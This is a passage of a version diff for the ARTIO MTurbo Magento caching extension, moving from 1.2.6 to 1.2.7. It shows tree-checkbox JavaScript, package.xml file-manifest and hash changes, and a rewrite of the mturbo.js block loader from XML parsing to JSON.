+ /**
123
+ * Sets a checkbox appropriately. By default only walks down through child nodes
124
+ * if called with no arguments (onchange event from the checkbox), otherwise
125
+ * it's assumed the call is being made programatically and the correct arguments are provided.
126
+ * @param {Boolean} state true to check the checkbox, false to clear it. (defaults to the opposite of the checkbox.checked)
127
+ * @param {Boolean} descend true to walk through the nodes children and set their checkbox values. (defaults to false)
128
+ */
129
+ check : function(state, descend, bulk) {
130
+
131
+ if (this.node.disabled)
132
+ return;
133
+
134
+
135
+ var n = this.node;
136
+ var tree = n.getOwnerTree();
137
+ var parentNode = n.parentNode;
138
+
139
+ if(!n.expanded && !n.childrenRendered)
140
+ n.expand(false, false, this.check.createDelegate(this, arguments));
141
+
142
+ if(typeof bulk == 'undefined')
143
+ bulk = false;
144
+
145
+ if(typeof state == 'undefined' || state === null)
146
+ {
147
+ state = this.checkbox.checked;
148
+ descend = !state;
149
+ if(state)
150
+ n.expand(false, false);
151
+
152
+ }
153
+ else
154
+ {
155
+ this.checkbox.checked = state;
156
+ }
157
+
158
+ n.attributes.checked = state;
159
+
160
+ // do we have parents?
161
+ //if(parentNode !== null && state)
162
+ // if we're checking the box, check it all the way up
163
+ //if( parentNode.getUI().check )
164
+ //parentNode.getUI().check(state, false, true);
165
+
166
+ if(!n.isLeaf())
167
+ {
168
+ var cs = n.childNodes;
169
+
170
+ for(var i = 0; i < cs.length; i++)
171
+ cs[i].getUI().check(state, true, false);
172
+ }
173
+
174
+ if(!bulk)
175
+ tree.fireEvent('check', n, state);
176
+ },
177
+
178
+ toggleCheck : function(state) {
179
+ this.check(!this.checkbox.checked, true);
180
+ }
181
+
182
+ });
183
+
184
+
185
 
186
  var tree;
187
 
package.xml CHANGED
@@ -1,7 +1,7 @@
1
  <?xml version="1.0"?>
2
  <package>
3
  <name>MTurbo</name>
4
- <version>1.2.6</version>
5
  <stability>stable</stability>
6
  <license uri="http://www.artio.net/m-turbo/license">Copyright 2010-12, ARTIO s.r.o. All rights reserved.</license>
7
  <channel>community</channel>
@@ -14,9 +14,9 @@ of Magento site optimization!</description>
14
  <notes>Visit product homepage at:
15
  http://www.artio.net/magento-extensions/m-turbo-accelerator</notes>
16
  <authors><author><name>Michal Unzeitig</name><user>auto-converted</user><email>michal.unzeitig@artio.net</email></author><author><name>Ji&#x159;&#xED; Chmiel</name><user>auto-converted</user><email>jiri.chmiel@artio.net</email></author></authors>
17
- <date>2012-02-02</date>
18
- <time>15:27:11</time>
19
- <contents><target name="magedesign"><dir name="frontend"><dir name="default"><dir name="default"><dir name="layout"><file name="mturbo.xml" hash="679c071acb59fa8a28251acd25738a9b"/></dir></dir></dir></dir><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="layout"><file name="mturbo.xml" hash="6e20ef84ceeac5a82dc7c7ce6897f12d"/></dir><dir name="template"><dir name="mturbo"><dir name="preview"><file name="tree.phtml" hash="558e2da8b9c5584a94748116fd8249d0"/></dir><file name="demo.phtml" hash="da2b65990f1221d981b1c850f292dae6"/><file name="massaction.phtml" hash="c4ca58cbd05d564129d3c39d452c783e"/><file name="grid.phtml" hash="f11cea678bbc7230028cf5a870479ac8"/><file name="tabs.phtml" hash="1015f2e05a41bb7751b11036e48cbd9f"/><file name="version.phtml" hash="b49869bbb96e15ce56a35df0ae4ff48b"/></dir></dir></dir></dir></dir></target><target name="magelocal"><dir name="Artio"><dir name="MTurbo"><dir name="controllers"><dir name="Adminhtml"><file name="CheckController.php" hash="78c05c96f294f009f35dc8b88537162c"/><file name="MturboController.php" hash="af4fe96015a7dbecbeeaffee59cadbf8"/></dir><file name="IndexController.php" hash="bf8e532b3b94dc9fa762a5d1c2505e5a"/><file name="AdminhtmlController.php" hash="cb9981505f756dd9658b44b93b07e57c"/></dir><dir name="Helper"><dir name="Catalog"><dir name="Product"><file name="Compare.php" hash="969d8a7f3faa2ab54ce48ff0c0e0754b"/></dir></dir><file name="Downloader.php" hash="e703b220f37a29c706e04214e87d90ed"/><file name="Website.php" hash="600e2c272f1d5cfb5ae63ba092cf864d"/><file name="Data.php" hash="24b541ce66879d2b0a01783665a74ce7"/><file name="Urlparams.php" hash="5b654502487ed2a669cce941181b4c21"/><file name="Info.php" hash="d2abba67ea46c20ab1213c3c9a9ad444"/><file name="Functions.php" hash="14d3580346eaf8aa84433d1b5bb1ec49"/></dir><dir name="sql"><dir name="mturbo_setup"><file name="mysql4-upgrade-1.0.0-1.2.0.php" hash="8f7a4af167a162dffa1cadf4a97a7c79"/><file name="mysql4-install-1.2.1.php" hash="5c756a617300d923a4bd09e0c5a4fb70"/><file name="mysql4-upgrade-1.2.0-1.2.1.php" hash="560c90c3572b91c3ce6229430bf74d96"/></dir></dir><dir name="Model"><dir name="DownloadMethods"><file name="Direct.php" hash="980a50b03c9f91e4e896d5757c80c555"/><file name="Socket.php" hash="7db1aeb2142f400847f4684e2a2b35a2"/><file name="Filegetcontents.php" hash="9c6c97fc34ea57cd8479cc042a990990"/><file name="Curl.php" hash="cdcd9d20402af9e2a8f5e1a3f713404b"/><file name="Abstract.php" hash="ddac44cb6f0548c0cd303bb1fa3e3e1b"/></dir><dir name="Mysql4"><dir name="Mturbo"><file name="Collection.php" hash="c8e06d986966455cd28b37a93b78a23d"/></dir><file name="Mturbo.php" hash="17a258f73ea138481a5727e7b9d383fc"/></dir><dir name="htaccess"><file name="htaccess.txt" hash="e5650ac65b3679a1cbea26ea61b2ad0b"/><file name="htaccessside.txt" hash="7d55f4bb772128b1f8783b319344d17c"/><file name="htaccessstore.txt" hash="bb24289ef3c6e00cdb03bd6abba753d2"/><file name="htaccesswebsite.txt" hash="babc2f09afde8878f4670924e1238376"/></dir><dir name="scripts"><file name="wgetlib.so" hash="5ebcb08067da723d67d25d27b98f866b"/><file name="wgettrans.so" hash="e4f414b0f796051518b6d951133c856b"/></dir><dir name="Config"><file name="Website.php" hash="42c7ca045d27c49581569648c5f080be"/><file name="CmsTransformer.php" hash="a5fca7b305322112e5bddd247ec20074"/><file name="WebsiteTransformer.php" hash="6400c844114316207e18b670859fae1b"/><file name="DynamicTransformer.php" hash="c7a66182ebd4dfb3b0a123b3f3dbbddf"/></dir><dir name="Mturbo"><file name="File.php" hash="15d4f20e2dcc3124e3a83562dcfdc599"/><file name="Event.php" hash="71a590a8c3adf0dad196a669fdc14997"/></dir><dir name="patches"><file name="layout.txt" hash="4d0055e6119d297fd78deb4c576ae9f0"/><file name="mage.txt" hash="0e2ef3ed32b7041f518f162745812023"/></dir><file name="DownloadMethodsFactory.php" hash="1bd5932612148116ee745c6bec68edaa"/><file name="Patch.php" hash="40e2e1ae19ae61c66b8f8b49326f0928"/><file name="Mturbo.php" hash="f1bc9eeab86c0ba26eb364157ed5bbb9"/><file name="Config.php" hash="b7cbdef876e859054f50f09d9f7a3ae4"/><file name="Observer.php" hash="2aa23b2e04835f2d5afef5079b67cf31"/><file name="LayoutPatch.php" hash="6f7a4fff8f6849dfe43002e31fa9f179"/><file name="Htaccess.php" hash="f232135a137ac3db7a19fc459f349bf1"/><file name="JsPatch.php" hash="5effc3f6bf8b4c420dd8aee0cef2bdd4"/></dir><dir name="etc"><file name="config.xml" hash="417d71f84ed0607adbcf3946112597f0"/></dir><dir name="Block"><dir name="Checkout"><dir name="Cart"><dir name="Item"><file name="Renderer.php" hash="b93f63e2b1940a889534854ba3fec31c"/></dir></dir></dir><dir name="Data"><dir name="Form"><dir name="Element"><file name="NoEscLabel.php" hash="1ce0fca5efc5e6afcbb96cf818ff7fef"/><file name="CategoryTree.php" hash="128d2bd67969552bb3f413975fc6313a"/><file name="Button.php" hash="c61ec7e27c62364c21e6d893f875ad93"/><file name="Html.php" hash="83a40987e47c142e6be58f311d29276d"/><file name="Time.php" hash="c6617317308bd74c9714ccee2ac870bb"/><file name="CmsTree.php" hash="b9d665e7a6d2f1c4f621aebb5ead4d38"/><file name="SelectDownloadMethod.php" hash="ca4b9117ecc129a08c08f810bed063d5"/></dir></dir><dir name="Grid"><dir name="Column"><file name="FileSize.php" hash="b01fca106ea04f0a32d5ead838dd7446"/><file name="Blocked.php" hash="4e6c21fee2c3d8fc26198471ef79b041"/><file name="SwitchAction.php" hash="35b90030144a8b42d9696f5be0694a20"/><file name="ColorOption.php" hash="9efec8edc0a724b1840acfee3333bcc1"/></dir></dir></dir><dir name="Adminhtml"><dir name="Edit"><dir name="Tab"><file name="Website.php" hash="c02792f23188e0d4c786f8285d59b3e2"/><file name="Actions.php" hash="957345fc43a69aa0fcdeb32e5448ca66"/><file name="License.php" hash="3c405988f5bfc0581b5a7fe1b6204055"/><file name="Main.php" hash="6eca1eae86c0cfabe4d5c51147ec4841"/><file name="Cms.php" hash="cee56f9271b29ff645e84105c831fd6c"/><file name="Product.php" hash="38d4025873e1e25c4d9289da20178096"/><file name="Dynamic.php" hash="99fbb6258ef13fdf881e341d7dc32c56"/><file name="Category.php" hash="3eb3d4924ab7d4e7978198d8caf31a30"/><file name="Abstract.php" hash="16a37f270112b175796bb5af02eea84d"/><file name="Url.php" hash="a809a94e7317b0685d5497a38c1650b4"/><file name="Uninstall.php" hash="fde35018cd407e8dd2cc7d91b4aafa3a"/></dir><file name="Form.php" hash="9ba7b56533f6c7f8f8b3a6e1a71fe6ad"/><file name="Tabs.php" hash="a82341a6c981ba91b69774c81a7ad28e"/></dir><dir name="Welcome"><file name="Form.php" hash="10c5680f4ee3768054756413aea6ce44"/></dir><file name="Mturbo.php" hash="4c6758e028e608ce93847a55a1ce27e1"/><file name="Run.php" hash="e6ff24da20d057de3b1e7147a209b395"/><file name="Welcome.php" hash="5acab4515cf35c30bf182eb0529855ad"/></dir><file name="Ajax.php" hash="911e58fe1f3f0a09458bf2200b078fa2"/></dir></dir></dir></target><target name="mageetc"><dir name="modules"><file name="Artio_MTurbo.xml" hash="4de5464bc12f3c0702d2c36931bda64d"/></dir></target><target name="mageskin"><dir name="frontend"><dir name="default"><dir name="default"><dir name="js"><file name="mturbo.js" hash="a5dcd5db6565b2b01753f4d05d9e6e73"/></dir></dir></dir><dir name="base"><dir name="default"><dir name="js"><file name="mturbo.js" hash="a5dcd5db6565b2b01753f4d05d9e6e73"/></dir></dir></dir></dir></target></contents>
20
  <compatible/>
21
  <dependencies/>
22
  </package>
1
  <?xml version="1.0"?>
2
  <package>
3
  <name>MTurbo</name>
4
+ <version>1.2.7</version>
5
  <stability>stable</stability>
6
  <license uri="http://www.artio.net/m-turbo/license">Copyright 2010-12, ARTIO s.r.o. All rights reserved.</license>
7
  <channel>community</channel>
14
  <notes>Visit product homepage at:
15
  http://www.artio.net/magento-extensions/m-turbo-accelerator</notes>
16
  <authors><author><name>Michal Unzeitig</name><user>auto-converted</user><email>michal.unzeitig@artio.net</email></author><author><name>Ji&#x159;&#xED; Chmiel</name><user>auto-converted</user><email>jiri.chmiel@artio.net</email></author></authors>
17
+ <date>2013-05-19</date>
18
+ <time>16:04:04</time>
19
+ <contents><target name="magedesign"><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="layout"><file name="mturbo.xml" hash="6e20ef84ceeac5a82dc7c7ce6897f12d"/></dir><dir name="template"><dir name="mturbo"><dir name="preview"><file name="tree.phtml" hash="b7e75f4a267ac7bd9c8ce2d19fed1293"/></dir><file name="demo.phtml" hash="10e85183bb4fd851e3893d98a8c58c40"/><file name="grid.phtml" hash="f11cea678bbc7230028cf5a870479ac8"/><file name="tabs.phtml" hash="1015f2e05a41bb7751b11036e48cbd9f"/><file name="version.phtml" hash="b49869bbb96e15ce56a35df0ae4ff48b"/><file name="massaction.phtml" hash="c4ca58cbd05d564129d3c39d452c783e"/></dir></dir></dir></dir></dir><dir name="frontend"><dir name="default"><dir name="default"><dir name="layout"><file name="mturbo.xml" hash="679c071acb59fa8a28251acd25738a9b"/></dir></dir></dir></dir></target><target name="magelocal"><dir name="Artio"><dir name="MTurbo"><dir name="controllers"><dir name="Adminhtml"><file name="MturboController.php" hash="55e6f96fc35e8b1ef202b4ea0614db76"/><file name="CheckController.php" hash="78c05c96f294f009f35dc8b88537162c"/></dir><file name="IndexController.php" hash="21cd5a41b171780f0a043bf363afa9f1"/><file name="AdminhtmlController.php" hash="cb9981505f756dd9658b44b93b07e57c"/></dir><dir name="Model"><dir name="Config"><file name="WebsiteTransformer.php" hash="6400c844114316207e18b670859fae1b"/><file name="DynamicTransformer.php" hash="d59924e7ea5e20a77514e343d07dabd6"/><file name="Website.php" hash="42c7ca045d27c49581569648c5f080be"/><file name="CmsTransformer.php" hash="a5fca7b305322112e5bddd247ec20074"/></dir><dir name="Mysql4"><dir name="Mturbo"><file name="Collection.php" hash="c8e06d986966455cd28b37a93b78a23d"/></dir><file name="Mturbo.php" hash="17a258f73ea138481a5727e7b9d383fc"/></dir><dir name="htaccess"><file name="htaccessstore.txt" hash="7db1c2f4c548540c1a6bd4d894ce0c22"/><file name="htaccess.txt" hash="e5650ac65b3679a1cbea26ea61b2ad0b"/><file name="htaccessside.txt" hash="7d55f4bb772128b1f8783b319344d17c"/><file name="htaccesswebsite.txt" hash="babc2f09afde8878f4670924e1238376"/></dir><dir name="patches"><file name="mage.txt" hash="0e2ef3ed32b7041f518f162745812023"/><file name="layout.txt" hash="4d0055e6119d297fd78deb4c576ae9f0"/></dir><dir name="Mturbo"><file name="Event.php" hash="e0aaa13f2439eba838097c547ea3990a"/><file name="File.php" hash="ec41d657af9e8fb15be96fe4821797fa"/></dir><dir name="scripts"><file name="wgetlib.so" hash="2c0ff7803967eb571dc325b30ec4786b"/></dir><dir name="DownloadMethods"><file name="Curl.php" hash="78d4e5102dd9bd135adbb7cb8577de1c"/><file name="Curlmulti.php" hash="a7fb5e2aba36ad581922197cdeea2ed0"/><file name="Direct.php" hash="8b8744927f496456728e9e804b86388b"/><file name="Abstract.php" hash="801beb8227045dac7805f57404aff566"/><file name="Socket.php" hash="f0722356c2e5a64eeac7046f644a8913"/><file name="Filegetcontents.php" hash="67798b6767dd564892eaec1b39fffcb0"/></dir><file name="LayoutPatch.php" hash="6f7a4fff8f6849dfe43002e31fa9f179"/><file name="DownloadMethodsFactory.php" hash="ef6dabebc13e4a0860837f9c295a04fe"/><file name="Mturbo.php" hash="3010e132860d964d84a619e2d2a4c3a7"/><file name="Htaccess.php" hash="f232135a137ac3db7a19fc459f349bf1"/><file name="JsPatch.php" hash="5effc3f6bf8b4c420dd8aee0cef2bdd4"/><file name="DownloadQueue.php" hash="86b995eff6e853625b1b7140b099fa98"/><file name="Config.php" hash="8edd8359e0aec4f52c992d4b37b3dfc8"/><file name="Observer.php" hash="72a86c3339d53a2a34ea5aa07b40f461"/><file name="Patch.php" hash="40e2e1ae19ae61c66b8f8b49326f0928"/></dir><dir name="Block"><dir name="Checkout"><dir name="Cart"><dir name="Item"><file name="Renderer.php" hash="b93f63e2b1940a889534854ba3fec31c"/></dir></dir></dir><dir name="Data"><dir name="Form"><dir name="Element"><file name="Button.php" hash="c61ec7e27c62364c21e6d893f875ad93"/><file name="Html.php" hash="83a40987e47c142e6be58f311d29276d"/><file name="CategoryTree.php" hash="128d2bd67969552bb3f413975fc6313a"/><file name="NoEscLabel.php" hash="1ce0fca5efc5e6afcbb96cf818ff7fef"/><file name="CmsTree.php" hash="b9d665e7a6d2f1c4f621aebb5ead4d38"/><file name="SelectDownloadMethod.php" hash="ca4b9117ecc129a08c08f810bed063d5"/><file name="Time.php" hash="c6617317308bd74c9714ccee2ac870bb"/></dir></dir><dir name="Grid"><dir name="Column"><file name="SwitchAction.php" hash="35b90030144a8b42d9696f5be0694a20"/><file name="ColorOption.php" hash="9efec8edc0a724b1840acfee3333bcc1"/><file name="Blocked.php" hash="4e6c21fee2c3d8fc26198471ef79b041"/><file name="FileSize.php" hash="b01fca106ea04f0a32d5ead838dd7446"/></dir></dir></dir><dir name="Adminhtml"><dir name="Welcome"><file name="Form.php" hash="0c55395173b1e8daab57b20d591be3af"/></dir><dir name="Edit"><dir name="Tab"><file name="Cms.php" hash="cee56f9271b29ff645e84105c831fd6c"/><file name="Url.php" hash="88b51d7590e049b66a195a699a372a5f"/><file name="License.php" hash="3c405988f5bfc0581b5a7fe1b6204055"/><file name="Uninstall.php" hash="fde35018cd407e8dd2cc7d91b4aafa3a"/><file name="Dynamic.php" hash="219e30e47eec3da1f1b6e31ff9a25aa3"/><file name="Product.php" hash="ee67b81b998b1cfa336a777404afb3ee"/><file name="Category.php" hash="3eb3d4924ab7d4e7978198d8caf31a30"/><file name="Website.php" hash="879e42f52a3bdf1a6ab967d031f98232"/><file name="Main.php" hash="288d2dc50f2505970204251571770abb"/><file name="Abstract.php" hash="16a37f270112b175796bb5af02eea84d"/><file name="Actions.php" hash="957345fc43a69aa0fcdeb32e5448ca66"/></dir><file name="Form.php" hash="9ba7b56533f6c7f8f8b3a6e1a71fe6ad"/><file name="Tabs.php" hash="a82341a6c981ba91b69774c81a7ad28e"/></dir><file name="Mturbo.php" hash="4c6758e028e608ce93847a55a1ce27e1"/><file name="Welcome.php" hash="5acab4515cf35c30bf182eb0529855ad"/><file name="Run.php" hash="8db7aa6e5c559e69368e5064bd1dfabf"/></dir><file name="Ajax.php" hash="4ffade8e3794e59ad2e4baae280c454d"/></dir><dir name="etc"><file name="config.xml" hash="8da2c565286ed54ee9f217fea9b2df26"/></dir><dir name="sql"><dir name="mturbo_setup"><file name="mysql4-install-1.2.1.php" hash="5c756a617300d923a4bd09e0c5a4fb70"/><file name="mysql4-upgrade-1.0.0-1.2.0.php" hash="8f7a4af167a162dffa1cadf4a97a7c79"/><file name="mysql4-upgrade-1.2.1-1.2.7.php" hash="c878596e319f36c7df16172b932058aa"/><file name="mysql4-upgrade-1.2.0-1.2.1.php" hash="560c90c3572b91c3ce6229430bf74d96"/></dir></dir><dir name="Helper"><dir name="Catalog"><dir name="Product"><file name="Compare.php" hash="969d8a7f3faa2ab54ce48ff0c0e0754b"/></dir></dir><file name="Urlparams.php" hash="d610237090d9d8fa331fdf35883e647b"/><file name="Downloader.php" hash="e703b220f37a29c706e04214e87d90ed"/><file name="Data.php" hash="35dc2f02019a386289541be2086cad23"/><file name="Info.php" hash="fb2c355d762e251ecdb9557cce3aa205"/><file name="Functions.php" hash="14d3580346eaf8aa84433d1b5bb1ec49"/><file name="Website.php" hash="600e2c272f1d5cfb5ae63ba092cf864d"/></dir></dir></dir></target><target name="mageetc"><dir name="modules"><file name="Artio_MTurbo.xml" hash="4de5464bc12f3c0702d2c36931bda64d"/></dir></target><target name="mageskin"><dir name="frontend"><dir name="default"><dir name="default"><dir name="js"><file name="mturbo.js" hash="ce8a95d3c7ff81ea74df918f0d200b79"/></dir></dir></dir><dir name="base"><dir name="default"><dir name="js"><file name="mturbo.js" hash="ce8a95d3c7ff81ea74df918f0d200b79"/></dir></dir></dir></dir></target></contents>
20
  <compatible/>
21
  <dependencies/>
22
  </package>
skin/frontend/base/default/js/mturbo.js CHANGED
@@ -1,63 +1,28 @@
1
  var mturboloader = {
2
 
3
  url: '',
4
- blocks: '',
5
  complete: false,
6
- cartLink: false,
7
  blocksContents: new Array(),
8
 
9
  addBlockRequest: function(blockIdentifier) {
10
- if (mturboloader.blocks=='') {
11
- mturboloader.blocks = 'identifier[]=' + blockIdentifier;
12
- } else {
13
- mturboloader.blocks = mturboloader.blocks + '&identifier[]=' + blockIdentifier;
14
- }
15
  },
16
 
17
  getBlock: function (blockIdentifier) {
18
- return mturboloader.blocksContents[blockIdentifier].replace(/&amp;MTURBO!/g, "&");
19
  },
20
-
21
  loadBlocks: function(url, referer) {
22
- url = url+'?'+this.blocks+'&referer='+referer;
23
  new Ajax.Request(url, {
24
  method: "get",
 
25
  onSuccess:
26
  function(transport) {
27
 
28
- if (window.DOMParser) {
29
- parser=new DOMParser();
30
- xmlDoc=parser.parseFromString(transport.responseText, "text/xml");
31
- }
32
- else // Internet Explorer
33
- {
34
- xmlDoc=new ActiveXObject("Microsoft.XMLDOM");
35
- xmlDoc.async="false";
36
- xmlDoc.loadXML(transport.responseText);
37
- }
38
-
39
- var i;
40
- var blocks = xmlDoc.childNodes[0].childNodes;
41
- for (i=0; i<blocks.length; i++) {
42
-
43
- var name = blocks[i].getAttribute('name');
44
- if (name!='') {
45
- try {
46
-
47
- // Gecko-based browsers, Safari, Opera.
48
- mturboloader.blocksContents[name] = (new XMLSerializer()).serializeToString(blocks[i]);
49
- }
50
- catch (e) {
51
- try {
52
- // Internet Explorer
53
- mturboloader.blocksContents[name] = blocks[i].xml;
54
- }
55
- catch (e)
56
- {}
57
- }
58
- }
59
- }
60
-
61
  mturboloader.complete = true;
62
  setTimeout('updateCartLink()', 100);
63
  }
@@ -65,17 +30,26 @@ var mturboloader = {
65
  }
66
 
67
  }
 
68
  function updateCartLink() {
69
- var re = new RegExp('checkout/cart/$');
70
- var links = document.getElementsByTagName('a');
71
- for (var i=0; i<links.length; i++) {
72
- if (re.exec(links[i].href)) {
73
- if (mturboloader.blocksContents['cartlink'])
74
- links[i].innerHTML = mturboloader.blocksContents['cartlink'];
75
- else {
76
- setTimeout('updateCartLink()', 100);
77
- return;
78
- }
 
 
 
 
 
 
 
79
  }
80
  }
 
81
  }
1
  var mturboloader = {
2
 
3
  url: '',
4
+ blocks: new Array(),
5
  complete: false,
6
+ cartLinkCss: '',
7
  blocksContents: new Array(),
8
 
9
  addBlockRequest: function(blockIdentifier) {
10
+ mturboloader.blocks.push(blockIdentifier);
 
 
 
 
11
  },
12
 
13
  getBlock: function (blockIdentifier) {
14
+ return mturboloader.blocksContents[blockIdentifier];
15
  },
16
+
17
  loadBlocks: function(url, referer) {
 
18
  new Ajax.Request(url, {
19
  method: "get",
20
+ parameters: {"identifier[]": mturboloader.blocks },
21
  onSuccess:
22
  function(transport) {
23
 
24
+ mturboloader.blocksContents = transport.responseText.evalJSON();
25
+
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
26
  mturboloader.complete = true;
27
  setTimeout('updateCartLink()', 100);
28
  }
30
  }
31
 
32
  }
33
+
34
  function updateCartLink() {
35
+
36
+ if (mturboloader.cartLinkCss)
37
+ {
38
+ if (mturboloader.blocksContents['cartlink'])
39
+ {
40
+ var cssSelectors = mturboloader.cartLinkCss.split(',');
41
+
42
+ cssSelectors.each(function(cssSelector) {
43
+ $$(cssSelector).each(function(element) {
44
+ element.innerHTML = mturboloader.blocksContents['cartlink'];
45
+ });
46
+ });
47
+ }
48
+ else
49
+ {
50
+ setTimeout('updateCartLink()', 100);
51
+ return;
52
  }
53
  }
54
+
55
  }
skin/frontend/default/default/js/mturbo.js CHANGED
@@ -1,63 +1,28 @@
1
  var mturboloader = {
2
 
3
  url: '',
4
- blocks: '',
5
  complete: false,
6
- cartLink: false,
7
  blocksContents: new Array(),
8
 
9
  addBlockRequest: function(blockIdentifier) {
10
- if (mturboloader.blocks=='') {
11
- mturboloader.blocks = 'identifier[]=' + blockIdentifier;
12
- } else {
13
- mturboloader.blocks = mturboloader.blocks + '&identifier[]=' + blockIdentifier;
14
- }
15
  },
16
 
17
  getBlock: function (blockIdentifier) {
18
- return mturboloader.blocksContents[blockIdentifier].replace(/&amp;MTURBO!/g, "&");
19
  },
20
-
21
  loadBlocks: function(url, referer) {
22
- url = url+'?'+this.blocks+'&referer='+referer;
23
  new Ajax.Request(url, {
24
  method: "get",
 
25
  onSuccess:
26
  function(transport) {
27
 
28
- if (window.DOMParser) {
29
- parser=new DOMParser();
30
- xmlDoc=parser.parseFromString(transport.responseText, "text/xml");
31
- }
32
- else // Internet Explorer
33
- {
34
- xmlDoc=new ActiveXObject("Microsoft.XMLDOM");
35
- xmlDoc.async="false";
36
- xmlDoc.loadXML(transport.responseText);
37
- }
38
-
39
- var i;
40
- var blocks = xmlDoc.childNodes[0].childNodes;
41
- for (i=0; i<blocks.length; i++) {
42
-
43
- var name = blocks[i].getAttribute('name');
44
- if (name!='') {
45
- try {
46
-
47
- // Gecko-based browsers, Safari, Opera.
48
- mturboloader.blocksContents[name] = (new XMLSerializer()).serializeToString(blocks[i]);
49
- }
50
- catch (e) {
51
- try {
52
- // Internet Explorer
53
- mturboloader.blocksContents[name] = blocks[i].xml;
54
- }
55
- catch (e)
56
- {}
57
- }
58
- }
59
- }
60
-
61
  mturboloader.complete = true;
62
  setTimeout('updateCartLink()', 100);
63
  }
@@ -65,17 +30,26 @@ var mturboloader = {
65
  }
66
 
67
  }
 
68
  function updateCartLink() {
69
- var re = new RegExp('checkout/cart/$');
70
- var links = document.getElementsByTagName('a');
71
- for (var i=0; i<links.length; i++) {
72
- if (re.exec(links[i].href)) {
73
- if (mturboloader.blocksContents['cartlink'])
74
- links[i].innerHTML = mturboloader.blocksContents['cartlink'];
75
- else {
76
- setTimeout('updateCartLink()', 100);
77
- return;
78
- }
 
 
 
 
 
 
 
79
  }
80
  }
 
81
  }
1
  var mturboloader = {
2
 
3
  url: '',
4
+ blocks: new Array(),
5
  complete: false,
6
+ cartLinkCss: '',
7
  blocksContents: new Array(),
8
 
9
  addBlockRequest: function(blockIdentifier) {
10
+ mturboloader.blocks.push(blockIdentifier);
 
 
 
 
11
  },
12
 
13
  getBlock: function (blockIdentifier) {
14
+ return mturboloader.blocksContents[blockIdentifier];
15
  },
16
+
17
  loadBlocks: function(url, referer) {
 
18
  new Ajax.Request(url, {
19
  method: "get",
20
+ parameters: {"identifier[]": mturboloader.blocks },
21
  onSuccess:
22
  function(transport) {
23
 
24
+ mturboloader.blocksContents = transport.responseText.evalJSON();
25
+
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
26
  mturboloader.complete = true;
27
  setTimeout('updateCartLink()', 100);
28
  }
30
  }
31
 
32
  }
33
+
34
  function updateCartLink() {
35
+
36
+ if (mturboloader.cartLinkCss)
37
+ {
38
+ if (mturboloader.blocksContents['cartlink'])
39
+ {
40
+ var cssSelectors = mturboloader.cartLinkCss.split(',');
41
+
42
+ cssSelectors.each(function(cssSelector) {
43
+ $$(cssSelector).each(function(element) {
44
+ element.innerHTML = mturboloader.blocksContents['cartlink'];
45
+ });
46
+ });
47
+ }
48
+ else
49
+ {
50
+ setTimeout('updateCartLink()', 100);
51
+ return;
52
  }
53
  }
54
+
55
  }